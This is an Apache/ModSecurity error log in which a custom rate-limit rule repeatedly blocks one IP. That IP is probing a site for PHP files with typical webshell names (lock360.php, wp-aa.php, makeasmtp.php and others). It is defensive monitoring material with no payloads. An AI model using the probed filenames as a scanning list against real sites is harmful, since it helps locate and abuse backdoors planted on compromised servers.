[Sat Jan 03 03:27:43.842728 2026] [:error] [pid 2083:tid 2093] [client 20.39.206.242:15089] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVgcLzVlR_BmlMPnhV6bxgAAAMg"]
[Sat Jan 03 03:27:44.112485 2026] [:error] [pid 1929:tid 1946] [client 20.39.206.242:15054] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVgcMOcFqdpu6TNsuWqxLAAAAAg"]
[Sat Jan 03 03:27:44.393678 2026] [:error] [pid 2083:tid 2107] [client 20.39.206.242:14777] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aVgcMDVlR_BmlMPnhV6byAAAANY"]
[Sat Jan 03 03:27:44.695378 2026] [:error] [pid 2083:tid 2087] [client 20.39.206.242:15071] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVgcMDVlR_BmlMPnhV6byQAAAMI"]
[Sat Jan 03 03:27:44.986931 2026] [:error] [pid 1929:tid 1940] [client 20.39.206.242:15170] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVgcMOcFqdpu6TNsuWqxLQAAAAI"]
[Sat Jan 03 03:27:45.298350 2026] [:error] [pid 2083:tid 2091] [client 20.39.206.242:14361] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVgcMTVlR_BmlMPnhV6bygAAAMY"]
[Sat Jan 03 03:27:45.597561 2026] [:error] [pid 1929:tid 1941] [client 20.39.206.242:14347] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVgcMecFqdpu6TNsuWqxLwAAAAM"]
[Sat Jan 03 03:27:45.901948 2026] [:error] [pid 1931:tid 2039] [client 20.39.206.242:15210] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aVgcMR8Tyw7ZoIdXlcbZ_gAAAI8"]
[Sat Jan 03 03:27:46.172761 2026] [:error] [pid 1931:tid 1999] [client 20.39.206.242:14380] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aVgcMh8Tyw7ZoIdXlcbaAAAAAIM"]
[Sat Jan 03 03:27:46.470919 2026] [:error] [pid 1931:tid 2046] [client 20.39.206.242:14656] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aVgcMh8Tyw7ZoIdXlcbaAgAAAJY"]
[Sat Jan 03 03:27:46.759087 2026] [:error] [pid 1931:tid 2033] [client 20.39.206.242:15057] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bak.php"] [unique_id "aVgcMh8Tyw7ZoIdXlcbaAwAAAIk"]
[Sat Jan 03 03:27:47.074573 2026] [:error] [pid 1931:tid 2036] [client 20.39.206.242:15169] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVgcMx8Tyw7ZoIdXlcbaBQAAAIw"]
[Sat Jan 03 03:27:47.371711 2026] [:error] [pid 1931:tid 2037] [client 20.39.206.242:15052] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVgcMx8Tyw7ZoIdXlcbaBgAAAI0"]
[Sat Jan 03 03:27:47.670642 2026] [:error] [pid 1929:tid 1948] [client 20.39.206.242:15055] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVgcM-cFqdpu6TNsuWqxNAAAAAo"]
[Sat Jan 03 03:27:48.264563 2026] [:error] [pid 1931:tid 2031] [client 20.39.206.242:15180] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVgcNB8Tyw7ZoIdXlcbaCQAAAIc"]
[Sat Jan 03 03:27:48.555228 2026] [:error] [pid 1930:tid 1983] [client 20.39.206.242:15073] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVgcNJP-6mqhfUDa89y5pwAAAFE"]
[Sat Jan 03 03:27:48.834224 2026] [:error] [pid 1931:tid 2034] [client 20.39.206.242:15178] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVgcNB8Tyw7ZoIdXlcbaCwAAAIo"]
[Sat Jan 03 03:27:49.270370 2026] [:error] [pid 1931:tid 2042] [client 20.39.206.242:15080] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVgcNR8Tyw7ZoIdXlcbaDQAAAJI"]
[Sat Jan 03 03:27:49.607598 2026] [:error] [pid 2083:tid 2093] [client 20.39.206.242:14747] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aVgcNTVlR_BmlMPnhV6b0AAAAMg"]
[Sat Jan 03 03:27:49.897486 2026] [:error] [pid 1929:tid 1962] [client 20.39.206.242:14772] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aVgcNecFqdpu6TNsuWqxNwAAABg"]
[Sat Jan 03 03:27:50.187407 2026] [:error] [pid 1931:tid 2039] [client 20.39.206.242:14761] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aVgcNh8Tyw7ZoIdXlcbaEAAAAI8"]
[Sat Jan 03 03:27:50.473219 2026] [:error] [pid 1931:tid 2046] [client 20.39.206.242:15084] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aVgcNh8Tyw7ZoIdXlcbaFAAAAJY"]
[Sat Jan 03 03:27:50.760620 2026] [:error] [pid 1931:tid 1993] [client 20.39.206.242:14668] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aVgcNh8Tyw7ZoIdXlcbaFQAAAIA"]
[Sat Jan 03 03:27:51.057471 2026] [:error] [pid 1931:tid 2033] [client 20.39.206.242:14355] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aVgcNx8Tyw7ZoIdXlcbaFgAAAIk"]
[Sat Jan 03 03:27:51.567109 2026] [:error] [pid 1929:tid 1949] [client 20.39.206.242:15103] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aVgcN-cFqdpu6TNsuWqxOgAAAAs"]
[Sat Jan 03 03:27:51.878244 2026] [:error] [pid 1931:tid 2036] [client 20.39.206.242:15172] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aVgcNx8Tyw7ZoIdXlcbaFwAAAIw"]
[Sat Jan 03 03:27:52.249805 2026] [:error] [pid 1930:tid 1973] [client 20.39.206.242:14762] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aVgcOJP-6mqhfUDa89y5wQAAAEc"]
[Sat Jan 03 03:27:52.548336 2026] [:error] [pid 1930:tid 1989] [client 20.39.206.242:14758] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVgcOJP-6mqhfUDa89y5xAAAAFc"]
[Sat Jan 03 03:27:52.857902 2026] [:error] [pid 1929:tid 1946] [client 20.39.206.242:14760] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVgcOOcFqdpu6TNsuWqxPAAAAAg"]
[Sat Jan 03 03:27:53.141970 2026] [:error] [pid 1930:tid 1985] [client 20.39.206.242:14389] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVgcOZP-6mqhfUDa89y5ygAAAFM"]
[Sat Jan 03 03:27:53.417954 2026] [:error] [pid 1930:tid 1980] [client 20.39.206.242:15087] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVgcOZP-6mqhfUDa89y5zQAAAE4"]
[Sat Jan 03 03:27:53.703629 2026] [:error] [pid 1930:tid 1979] [client 20.39.206.242:15190] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aVgcOZP-6mqhfUDa89y50AAAAE0"]
[Sat Jan 03 03:27:53.983290 2026] [:error] [pid 1930:tid 1966] [client 20.39.206.242:15059] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aVgcOZP-6mqhfUDa89y50wAAAEA"]
[Sat Jan 03 03:27:54.414643 2026] [:error] [pid 1931:tid 2029] [client 20.39.206.242:14667] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aVgcOh8Tyw7ZoIdXlcbaGgAAAIU"]
[Sat Jan 03 03:27:54.770341 2026] [:error] [pid 1929:tid 1947] [client 20.39.206.242:14350] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aVgcOucFqdpu6TNsuWqxPgAAAAk"]
[Sat Jan 03 03:27:55.050818 2026] [:error] [pid 1929:tid 1941] [client 20.39.206.242:14352] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aVgcO-cFqdpu6TNsuWqxPwAAAAM"]
[Sat Jan 03 03:27:55.348054 2026] [:error] [pid 1929:tid 1938] [client 20.39.206.242:15086] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aVgcO-cFqdpu6TNsuWqxQAAAAAA"]
[Sat Jan 03 03:27:55.683077 2026] [:error] [pid 1930:tid 1967] [client 20.39.206.242:14769] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aVgcO5P-6mqhfUDa89y53AAAAEE"]
[Sat Jan 03 03:27:56.109017 2026] [:error] [pid 1931:tid 2041] [client 20.39.206.242:15227] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aVgcPB8Tyw7ZoIdXlcbaHQAAAJE"]
[Sat Jan 03 03:27:56.575357 2026] [:error] [pid 1931:tid 2027] [client 20.39.206.242:15065] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aVgcPB8Tyw7ZoIdXlcbaHgAAAIQ"]
[Sat Jan 03 03:27:56.968100 2026] [:error] [pid 1929:tid 1951] [client 20.39.206.242:14337] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aVgcPOcFqdpu6TNsuWqxQQAAAA0"]
[Sat Jan 03 03:27:57.339752 2026] [:error] [pid 1930:tid 1988] [client 20.39.206.242:14780] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aVgcPZP-6mqhfUDa89y53gAAAFY"]
[Sat Jan 03 03:27:57.668971 2026] [:error] [pid 1931:tid 1994] [client 20.39.206.242:14351] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aVgcPR8Tyw7ZoIdXlcbaIAAAAIE"]
[Sat Jan 03 03:27:58.035480 2026] [:error] [pid 2083:tid 2100] [client 20.39.206.242:14338] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aVgcPjVlR_BmlMPnhV6b0wAAAM8"]
[Sat Jan 03 03:27:58.452626 2026] [:error] [pid 2083:tid 2095] [client 20.39.206.242:15067] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aVgcPjVlR_BmlMPnhV6b1AAAAMo"]
[Sat Jan 03 03:27:58.725488 2026] [:error] [pid 1931:tid 1996] [client 20.39.206.242:14391] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aVgcPh8Tyw7ZoIdXlcbaIgAAAII"]
[Sat Jan 03 03:27:59.056044 2026] [:error] [pid 2083:tid 2109] [client 20.39.206.242:14371] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aVgcPzVlR_BmlMPnhV6b1gAAANg"]
[Sat Jan 03 03:27:59.426468 2026] [:error] [pid 2083:tid 2096] [client 20.39.206.242:14686] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aVgcPzVlR_BmlMPnhV6b1wAAAMs"]
[Sat Jan 03 03:27:59.961211 2026] [:error] [pid 2083:tid 2104] [client 20.39.206.242:15101] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aVgcPzVlR_BmlMPnhV6b2AAAANM"]
[Sat Jan 03 03:28:00.278423 2026] [:error] [pid 2083:tid 2092] [client 20.39.206.242:15081] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aVgcQDVlR_BmlMPnhV6b2gAAAMc"]
[Sat Jan 03 03:28:00.640923 2026] [:error] [pid 2083:tid 2098] [client 20.39.206.242:14381] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aVgcQDVlR_BmlMPnhV6b2wAAAM0"]
[Sat Jan 03 03:28:16.448697 2026] [:error] [pid 2083:tid 2092] [client 20.39.206.242:15062] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aVgcUDVlR_BmlMPnhV6b-gAAAMc"]
[Sat Jan 03 03:28:16.832980 2026] [:error] [pid 2083:tid 2091] [client 20.39.206.242:14348] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aVgcUDVlR_BmlMPnhV6b-wAAAMY"]
[Sat Jan 03 03:28:17.372466 2026] [:error] [pid 2083:tid 2105] [client 20.39.206.242:14373] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aVgcUTVlR_BmlMPnhV6b_QAAANQ"]
[Sat Jan 03 03:28:17.888156 2026] [:error] [pid 2083:tid 2085] [client 20.39.206.242:14372] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-aa.php"] [unique_id "aVgcUTVlR_BmlMPnhV6cAAAAAMA"]
[Sat Jan 03 03:28:18.338669 2026] [:error] [pid 2083:tid 2102] [client 20.39.206.242:15211] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cart.php"] [unique_id "aVgcUjVlR_BmlMPnhV6cAwAAANE"]
